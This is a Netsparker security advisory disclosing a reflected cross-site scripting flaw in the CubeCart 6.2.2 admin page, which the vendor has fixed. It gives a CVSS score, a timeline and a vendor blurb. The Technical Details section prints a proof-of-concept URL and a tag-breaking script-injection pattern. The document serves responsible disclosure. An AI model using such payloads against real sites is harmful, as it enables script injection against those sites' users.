Reflected Cross-site Scripting Vulnerability in CubeCart 6.2.2

Information
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Advisory by Netsparker
Name: Reflected Cross-site Scripting Vulnerability in CubeCart
Affected Software: CubeCart
Affected Versions: 6.2.2
Homepage: https://www.cubecart.com/
Vulnerability: Reflected Cross-site Scripting
Severity: High
Status: Fixed
CVSS Score (3.0): 5.5 (CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L)
Netsparker Advisory Reference: NS-18-025

Technical Details
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URL: http://{DOMAIN}/{PATH-OF-CUBECART}/{ADMIN-FILE}/?'"--></style></Script><Script>alert(0x3)</Script>
Parameter Name: Query String
Parameter Type: GET
Attack Pattern: '"--></style></Script><Script>alert(0x3)</Script>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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26th July 2018 2018- First Contact
7th August 2018 - Vendor Fixed
3rd December 2018 - Advisory Released

Credits & Authors
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These issues have been discovered by Zekvan Arslan while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.